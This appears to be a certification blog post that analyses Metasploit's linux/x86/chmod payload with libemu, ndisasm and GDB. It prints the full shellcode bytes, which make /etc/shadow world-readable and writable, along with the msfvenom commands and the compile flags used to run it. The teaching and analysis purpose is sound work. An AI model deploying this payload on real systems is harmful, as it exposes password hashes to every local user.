[emu 0x0x4b2640 debug ] esp=0x00416fca  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x4b2640 debug ] Flags: 
[emu 0x0x4b2640 debug ] E8                              call 0x1
[emu 0x0x4b2640 debug ] cpu state    eip=0x00417016
[emu 0x0x4b2640 debug ] eax=0x0000000f  ecx=0x00000000  edx=0x00000000  ebx=0x00000000
[emu 0x0x4b2640 debug ] esp=0x00416fc6  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x4b2640 debug ] Flags: 
[emu 0x0x4b2640 debug ] 5B                              pop ebx
[emu 0x0x4b2640 debug ] cpu state    eip=0x00417017
[emu 0x0x4b2640 debug ] eax=0x0000000f  ecx=0x00000000  edx=0x00000000  ebx=0x0041700a
[emu 0x0x4b2640 debug ] esp=0x00416fca  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x4b2640 debug ] Flags: 
[emu 0x0x4b2640 debug ] 68B6010000                      push dword 0x1b6
[emu 0x0x4b2640 debug ] cpu state    eip=0x0041701c
[emu 0x0x4b2640 debug ] eax=0x0000000f  ecx=0x00000000  edx=0x00000000  ebx=0x0041700a
[emu 0x0x4b2640 debug ] esp=0x00416fc6  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x4b2640 debug ] Flags: 
[emu 0x0x4b2640 debug ] 59                              pop ecx
[emu 0x0x4b2640 debug ] cpu state    eip=0x0041701d
[emu 0x0x4b2640 debug ] eax=0x0000000f  ecx=0x000001b6  edx=0x00000000  ebx=0x0041700a
[emu 0x0x4b2640 debug ] esp=0x00416fca  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x4b2640 debug ] Flags: 
[emu 0x0x4b2640 debug ] CD80                            int 0x80
sys_chmod(2)
[emu 0x0x4b2640 debug ] cpu state    eip=0x0041701f
[emu 0x0x4b2640 debug ] eax=0x00000000  ecx=0x000001b6  edx=0x00000000  ebx=0x0041700a
[emu 0x0x4b2640 debug ] esp=0x00416fca  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x4b2640 debug ] Flags: 
[emu 0x0x4b2640 debug ] 6A01                            push byte 0x1
[emu 0x0x4b2640 debug ] cpu state    eip=0x00417021
[emu 0x0x4b2640 debug ] eax=0x00000000  ecx=0x000001b6  edx=0x00000000  ebx=0x0041700a
[emu 0x0x4b2640 debug ] esp=0x00416fc6  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x4b2640 debug ] Flags: 
[emu 0x0x4b2640 debug ] 58                              pop eax
[emu 0x0x4b2640 debug ] cpu state    eip=0x00417022
[emu 0x0x4b2640 debug ] eax=0x00000001  ecx=0x000001b6  edx=0x00000000  ebx=0x0041700a
[emu 0x0x4b2640 debug ] esp=0x00416fca  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x4b2640 debug ] Flags: 
[emu 0x0x4b2640 debug ] CD80                            int 0x80
sys_exit(2)
[emu 0x0x4b2640 debug ] cpu state    eip=0x00417024
[emu 0x0x4b2640 debug ] eax=0x00000000  ecx=0x000001b6  edx=0x00000000  ebx=0x0041700a
[emu 0x0x4b2640 debug ] esp=0x00416fca  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x4b2640 debug ] Flags: 
[emu 0x0x4b2640 debug ] 0000                            add [eax],al
cpu error error accessing 0x00000004 not mapped

stepcount 12
copying vertexes
optimizing graph
vertex 0x513810
going forwards from 0x513810
 -> vertex 0x513a30
 -> vertex 0x513b20
 -> vertex 0x513c00
 -> vertex 0x513df0
 -> vertex 0x513f90
 -> vertex 0x514130
 -> vertex 0x5142a0
copying edges for 0x5142a0
 -> 0x517760
vertex 0x5144b0
going forwards from 0x5144b0
copying edges for 0x5144b0
 -> 0x517870
vertex 0x5145d0
going forwards from 0x5145d0
 -> vertex 0x5147a0
copying edges for 0x5147a0
 -> 0x517ad0
vertex 0x514950
going forwards from 0x514950
copying edges for 0x514950
vertex 0x514a90
going forwards from 0x514a90
copying edges for 0x514a90
[emu 0x0x4b2640 debug ] cpu state    eip=0x00417026
[emu 0x0x4b2640 debug ] eax=0x00000000  ecx=0x000001b6  edx=0x00000000  ebx=0x0041700a
[emu 0x0x4b2640 debug ] esp=0x00416fca  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x4b2640 debug ] Flags: 
ERROR  chmod (
) =  -1;
ERROR  exit (
     int status = 4288522;
) =  -1;

Once again, as less information is returned on this relatively small payload, we look to tools such as Ndisasm and GDB to understand how the payload is working at a low level.


Disassembly with Ndisasm

Next, we use ndisasm to disassemble the shellcode generated by MSFvenom. The payload gets broken down into its assembly instructions as follows:

msfvenom -p linux/x86/chmod R | ndisasm -u -                                                    1 ⚙
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 36 bytes

00000000  99                cdq
00000001  6A0F              push byte +0xf
00000003  58                pop eax
00000004  52                push edx
00000005  E80C000000        call 0x16
0000000A  2F                das
0000000B  657463            gs jz 0x71
0000000E  2F                das
0000000F  7368              jnc 0x79
00000011  61                popa
00000012  646F              fs outsd
00000014  7700              ja 0x16
00000016  5B                pop ebx
00000017  68B6010000        push dword 0x1b6
0000001C  59                pop ecx
0000001D  CD80              int 0x80
0000001F  6A01              push byte +0x1
00000021  58                pop eax
00000022  CD80              int 0x80

From the above output, we can focus on the syscalls that are performed. We will again backtrace this based on the value populating the EAX register prior to each syscall.

The file /usr/include/i386-linux-gnu/asm/unistd_32.h contains references to each syscall number.

From this, we pick out a list of syscalls using the following syscall numbers.

  • 0xf - syscall 15 - chmod
  • 0x1 - syscall 1 - exit
int chmod(const char *pathname, mode_t mode);
void exit(int status);

Analysis with GDB

Next, we perform a dynamic analysis using gdb by stepping through the program an instruction at a time.

Compilation and setup

Before we begin, we use MSFvenom to output the shellcode into C format:

msfvenom -p linux/x86/chmod -f C                                                                1 ⚙
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 36 bytes
Final size of c file: 177 bytes
unsigned char buf[] = 
"\x99\x6a\x0f\x58\x52\xe8\x0c\x00\x00\x00\x2f\x65\x74\x63\x2f"
"\x73\x68\x61\x64\x6f\x77\x00\x5b\x68\xb6\x01\x00\x00\x59\xcd"
"\x80\x6a\x01\x58\xcd\x80";

We then compile the shellcode with gcc:

gcc -fno-stack-protector -z execstack chmod_shellcode.c -o shellcode

Next, we launch gdb and set a breakpoint to the main function using the break command:

We run the program, hit the main breakpoint, and disassemble the code variable which contains the chmod shellcode.

We set the breakpoint at the start of the linux/x86/chmod shellcode payload so we can start going through it:

chmod analysis

To begin, the syscall for chmod is pushed to the stack and popped into EAX.

Next, using the JMP-CALL-POP technique, the "/etc/shadow" string is popped into the EBX register for the *pathname argument.

The string is popped into EBX register, aligning it to the syscall arguments convention.

Next, the value 0x1b6 is popped into the ECX register.

According to the man page for chmod, the mode argument can be either 'symbolic representation of changes to make, or an octal number representing the bit pattern for the new mode bits'.

We convert the 0x1b6 value using an online hex converter and confirm it resolves to the octal value of 666.

This 666 value in Linux grants read and write permissions to everyone.

exit analysis

Once the call to chmod is made, the shellcode wraps up by calling the exit syscall, which gracefully exits the program.

To confirm that the payload worked as expected, we check the permissions on the /etc/shadow file, and verify that they have been modified as expected.


Code

That concludes our analysis of the three example shellcode samples from MSFvenom.

Whilst this blog post was more focused on performing analysis of existing shellcodes instead of writing code, all notes and tool outputs from this analysis can be found on my GitHub repository.


This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification.

Student ID: PA-6483

All code was tested on 32-bit Kali Linux:

┌──(jack㉿kali)-[~/SLAE32/Assignment 5: MSFvenom Shellcode Analysis]
└─$ uname -a
Linux kali 5.5.0-kali2-686-pae #1 SMP Debian 5.5.17-1kali1 (2020-04-21) i686 GNU/Linux

In the next blog post, we will be covering polymorphism, and applying the concept to shellcode samples to improve efficiency and reduce size.

Thanks for reading!


Close